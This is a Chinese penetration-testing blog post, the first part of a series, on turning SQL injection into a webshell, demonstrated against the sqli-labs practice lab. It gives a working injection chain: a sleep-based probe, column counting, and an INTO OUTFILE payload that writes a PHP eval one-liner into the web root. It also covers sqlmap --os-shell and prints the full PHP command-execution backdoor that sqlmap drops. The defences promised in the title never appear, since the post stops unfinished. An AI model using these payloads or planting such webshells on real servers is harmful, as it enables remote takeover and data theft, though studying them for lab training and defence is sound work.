渗透测试之利用sql拿shell(附完整流程+防御方案)【上】

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言

  • 流程

  • 通过into outfile 进行文件写入

  • 利用sqlmap

  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

复制代码
寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、 通过into outfile 进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作:

(1)查看secure-file-priv参数的值
sql 复制代码
show global variables like '%secure%';
(2)修改secure_file_priv 的值

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上**secure_file_priv =**即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell

使用蚁剑连接成功

二、利用sqlmap

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

python 复制代码
sqlmap.py -u "http://xxx?id=1" --sql-shell  //进入命令行
(1)查看文件路径

select @@datadir; //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件)

2、选择语言
3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

tmpbuwzg.php文件内容为:

php 复制代码
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

时间有限,未完待续~

++文中如有错误,还请各位大佬批评指正,感激不尽!++

相关推荐
auspicious航4 分钟前
PostgreSQL 常用SQL操作命令
数据库·sql·postgresql
Ten peaches10 分钟前
苍穹外卖(订单状态定时处理、来单提醒和客户催单)
java·数据库·sql·springboot
半路_出家ren16 分钟前
传输层协议 1.TCP 2.UDP
网络·网络安全·udp·wireshark·kali·tcp·gns3
gbase_lmax35 分钟前
gbase8s数据库 tcp连接不同阶段的超时处理
网络·数据库·网络协议·tcp/ip
xixixiLucky40 分钟前
Selenium Web自动化测试学习笔记(一)
笔记·学习·selenium
Aliano2171 小时前
Pinecone向量库 VS Redis
数据库·redis·缓存·pinecone向量库
爬呀爬的水滴1 小时前
02 mysql 管理(Windows版)
数据库·mysql
IT成长日记1 小时前
【Hive入门】Hive增量数据导入:基于Sqoop的关系型数据库同步方案深度解析
数据库·hive·sqoop·关系型数据库同步·增量数据导入
HHONGQI1231 小时前
ESP32- 开发笔记- 软件开发 6 蓝牙协议栈 1
笔记
芯辰则吉--模拟芯片1 小时前
模拟Sch LVS Sch 方法
服务器·数据库·lvs